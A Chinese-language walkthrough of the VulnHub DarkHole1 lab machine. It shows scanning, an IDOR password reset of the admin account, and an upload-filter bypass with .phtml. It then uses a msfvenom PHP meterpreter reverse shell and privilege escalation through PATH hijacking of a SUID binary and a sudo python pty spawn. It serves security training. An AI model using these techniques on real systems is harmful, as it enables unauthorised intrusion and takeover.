DarkHole1
前言
靶场地址:
https://www.vulnhub.com/entry/darkhole-1,724/
信息收集
端口扫描
ifconfig查到kali的ip为192.168.10.10
扫描该网段下面的在线设备,确认靶场IP为192.168.10.11,开放的端口有22、80
1 | nmap -sS -Pn 192.168.10.0/24 |
浏览器访问192.168.10.11结果如下:
目录扫描
使用dirsearch扫描网站目录发现以下目录
1 | dirsearch -u 192.168.10.11:80 |
渗透测试
注册账号
访问登录页面发现可以注册账号
登录网站
登录后的页面有两个功能:
- 修改个人信息
- 修改密码
看此时的URL的话可以看到get参数id=2,由此可以推测或许存在id为1的用户
越权
Burpsuite拦截修改密码的包
放包后返回密码已修改
此处推测id=1的账号为admin,而我们在上一步已经将id=1的账号密码修改为admin,所以我们使用admin/admin尝试登录
上传php文件
可以看到成功登录后管理员账户新增一个文件上传功能,由于该网站由php编写,所以尝试上传php文件
此处为了方便,新建了一个php文件,内容为phpinfo,假设上传的文件可以正常被解析的话,下一步就可以上传php的木马了
上传过程种发现上传点会根据后缀名进行过滤,无法直接上传php文件。所以只能使用一些冷门的后缀名。
此处经过多次尝试后发现.phtml可以正常上传并解析
访问后被成功解析成php文件
getshell
msf制作php木马
使用msf生成一个php木马文件msf_php.phtml
1 | msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.11 lport=4444 -o msf_php.phtml |
上传木马
使用上述方法上传到后台,返回的路径为upload/msf_php.phtml
kali开启msf监听
开启msf监听
1 | 打开msf控制台 |
此时使用浏览器访问php木马
此时php木马已回连到kali的msf
进入shell并生成一个交互式的shell
1 | shell |
提权
查看敏感文件后发现有三个账户,分别为root、darkhole和john
1 | cat /etc/passwd | grep /bin/bash |
从home目录查找具有SUID权限的文件发现/home/john/toto文件具有SUID权限
1 | find /home -perm -u=s -type f 2>/dev/null |
运行toto文件发现其作用是输出id
由此推测,toto文件可能调用id命令,我们可以尝试通过修改环境变量,让toto在执行id命令时打开一个john的shell
1 | echo "/bin/bash" > /tmp/id |
成功拿到john的shell,进入john的家目录发现存在password文件,此文件说明了john用户的密码为root123
1 | cd /home/john |
查看john用户权限(此处需要john密码)
1 | sudo -l |
发现john可以使用root权限执行/usr/bin/python3 /home/john/file.py这个命令
利用file.py打开一个root权限的shell
1 | echo 'import pty;pty.spawn("/bin/bash");' > file.py |
成功拿到root权限!!!